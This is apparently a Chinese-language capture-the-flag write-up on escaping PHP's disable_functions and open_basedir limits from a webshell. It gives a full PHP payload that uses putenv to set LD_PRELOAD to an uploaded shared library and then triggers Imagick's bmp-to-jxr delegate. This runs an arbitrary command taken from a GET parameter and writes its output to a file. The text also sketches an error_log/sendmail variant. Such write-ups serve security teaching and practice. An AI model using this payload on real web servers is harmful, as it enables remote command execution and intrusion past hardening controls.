给出了webshell。并且/tmp/130a22b5fcf1e7f489bd341fddbb3353可写
有open_basedir限制目录。
我们可以在tmp目录下写文件。然后文件包含利用
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
禁用了以上函数。imap_open,mail能调用本地sendmail的函数被禁了。然而putenv没被禁。要么就继续找一个能调用本地sendmail命令的函数。
方法一:
调用error_log。将第二个选项配置为1。调用sendmail
上传1.so。和1.php
方法二:
原理都一样。通过phpinfo。发现自带Imagick。不存在旧版本的漏洞
之前的方法都是通过LD_PRELOAD劫持启动进程。而Imagick也是可以调用外部进程的
Imagick的底层是ImageMagick。而ImageMagick是通过调用外部程序来进行转换。就好比mail函数。最后会调用本地的sendmail命令。从而启动新的进程。触发LD_PRELOAD
通过查看/etc/ImageMagick-6/delegates.xml。我们可以知道Image到底调用了啥
可以看到。当bmp转jxr或wdp会调用本地的MV命令。
<?php
$cmd=$_GET['cmd'];
file_put_contents("/tmp/130a22b5fcf1e7f489bd341fddbb3353/1.bmp",urldecode("BM%F6%00%00%00%00%00%00%006%00%00%00%28%00%00%00%0A%00%00%00%06%00%00%00%01%00%18%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00"));
putenv("EVIL_CMDLINE=".$cmd.">/tmp/130a22b5fcf1e7f489bd341fddbb3353/flag.txt");
putenv("LD_PRELOAD=/tmp/130a22b5fcf1e7f489bd341fddbb3353/1.so");
echo file_get_contents('/tmp/130a22b5fcf1e7f489bd341fddbb3353/flag.txt');
$im=new Imagick();
$im->readImage("/tmp/130a22b5fcf1e7f489bd341fddbb3353/1.bmp");
$im->writeImage("/tmp/130a22b5fcf1e7f489bd341fddbb3353/2.jxr");
?>
首先写入一个bmp文件。然后上传1.so。设置要执行的命令。将LD_PRELOAD设置为我们的so。当执行命令时。由于优先级。会优先从我们的so中调用
然后转换时会成功执行命令。
由于转换会失败。。所以把回显放到了前面。执行命令时会显示上次的执行结果。重复执行两次就好了